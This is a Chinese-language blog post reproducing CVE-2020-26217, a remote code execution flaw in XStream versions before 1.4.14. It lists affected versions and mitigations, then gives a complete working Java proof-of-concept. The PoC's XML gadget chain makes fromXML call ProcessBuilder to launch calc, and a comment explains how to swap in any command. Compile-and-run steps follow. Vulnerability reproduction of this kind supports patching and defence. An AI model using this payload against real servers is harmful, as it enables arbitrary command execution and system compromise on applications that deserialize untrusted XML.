• 【漏洞复现】CVE-2020-26217 | XStream远程代码执行漏洞


    写在前面

    影响范围为XStream < 1.4.14,小版本也需要加黑名单,但是复现过程中只有所有常规版本和下图红标小版本复现成功:

    另外还需要XPP3、xmlpull这两个jar包,JDK9无法触发成功。
    复现过程中发现1.4.10及以上版本通过在使用fromXML方法前开启默认安全配置:

    XStream xStream = new XStream();
    XStream.setupDefaultSecurity(xStream);    #开启默认安全配置
    String xml = ""
    xStream.fromXML(xml);
    

    来完成漏洞规避,经测试无法触发漏洞,无需升级到1.4.14。
    当然通过补充本次被绕过的黑名单:javax.imageio.ImageIO$ContainsFilter 也可以进行临时防护,可参考官方说明中的Workaround部分:http://x-stream.github.io/CVE-2020-26217.html

    准备环境

    1.XStream Core
    <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
    <dependency>
        <groupId>com.thoughtworks.xstream</groupId>
        <artifactId>xstream</artifactId>
        <version>1.4.9</version>
    </dependency>
    
    2.XPP3
    <!-- https://mvnrepository.com/artifact/org.ogce/xpp3 -->
    <dependency>
        <groupId>org.ogce</groupId>
        <artifactId>xpp3</artifactId>
        <version>1.1.6</version>
    </dependency>
    3.xmlpull
    <!-- https://mvnrepository.com/artifact/xmlpull/xmlpull -->
    <dependency>
        <groupId>xmlpull</groupId>
        <artifactId>xmlpull</artifactId>
        <version>1.1.3.1</version>
    </dependency>
    

    根据官方说明编写测试POC:

    import com.thoughtworks.xstream.XStream;
    public class vultest {
    	public static void main(String[] args) {
    		XStream xStream = new XStream();
    		//XStream.setupDefaultSecurity(xStream);
    		String xml = "<map>
    " +
    				"  <entry>
    " +
    				"    <jdk.nashorn.internal.objects.NativeString>
    " +
    				"      <flags>0</flags>
    " +
    				"      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
    " +
    				"        <dataHandler>
    " +
    				"          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
    " +
    				"            <contentType>text/plain</contentType>
    " +
    				"            <is class='java.io.SequenceInputStream'>
    " +
    				"              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
    " +
    				"                <iterator class='javax.imageio.spi.FilterIterator'>
    " +
    				"                  <iter class='java.util.ArrayList$Itr'>
    " +
    				"                    <cursor>0</cursor>
    " +
    				"                    <lastRet>-1</lastRet>
    " +
    				"                    <expectedModCount>1</expectedModCount>
    " +
    				"                    <outer-class>
    " +
    				"                      <java.lang.ProcessBuilder>
    " +
    				"                        <command>
    " +
    				"                          <string>calc</string>
    " +                  #修改此处string来调用ProcessBuilder执行命令,此处以calc为例
    				"                        </command>
    " +
    				"                      </java.lang.ProcessBuilder>
    " +
    				"                    </outer-class>
    " +
    				"                  </iter>
    " +
    				"                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
    " +
    				"                    <method>
    " +
    				"                      <class>java.lang.ProcessBuilder</class>
    " +
    				"                      <name>start</name>
    " +
    				"                      <parameter-types/>
    " +
    				"                    </method>
    " +
    				"                    <name>start</name>
    " +
    				"                  </filter>
    " +
    				"                  <next/>
    " +
    				"                </iterator>
    " +
    				"                <type>KEYS</type>
    " +
    				"              </e>
    " +
    				"              <in class='java.io.ByteArrayInputStream'>
    " +
    				"                <buf></buf>
    " +
    				"                <pos>0</pos>
    " +
    				"                <mark>0</mark>
    " +
    				"                <count>0</count>
    " +
    				"              </in>
    " +
    				"            </is>
    " +
    				"            <consumed>false</consumed>
    " +
    				"          </dataSource>
    " +
    				"          <transferFlavors/>
    " +
    				"        </dataHandler>
    " +
    				"        <dataLen>0</dataLen>
    " +
    				"      </value>
    " +
    				"    </jdk.nashorn.internal.objects.NativeString>
    " +
    				"    <string>test</string>
    " +
    				"  </entry>
    " +
    				"</map>";
    		//final Iterator<?> iterator = (Iterator<?>) xStream.fromXML(xml);
    		//iterator.hasNext();
    		xStream.fromXML(xml);
    	}
    
    }
    
    

    漏洞复现

    1.编译上述poc:
    javac -cp xstream-1.4.13.jar vultest.java
    2.运行验证:
    "C:Program FilesJavajre1.8.0_231injava.exe" -classpath .;xstream-1.4.13.jar;xmlpull-1.1.3.1.jar;xpp3-1.1.6.jar vultest #JDK9测试无法触发,1.8可以,故使用1.8来验证

    参考

    [1]https://x-stream.github.io/CVE-2020-26217.html

  • 相关阅读:
    QT实现软件重启
    Qt 延时
    gcc 创建库及使用
    verilog 奇数分频设计
    内核中的 likely() 与 unlikely()
    TFT LCD 参数详解
    手动安装m4, autoconf, automake, libtool
    [其他] 蒙特卡洛(Monte Carlo)模拟手把手教基于EXCEL与Crystal Ball的蒙特卡洛成本模拟过程实例:
    Origin9.1如何绘制风向玫瑰图(Binned Data)?
    Origin9.1如何使用原始数据(Raw Data)绘制风向玫瑰图
  • 原文地址:https://www.cnblogs.com/303donatello/p/13998245.html
Copyright © 2020-2023  润新知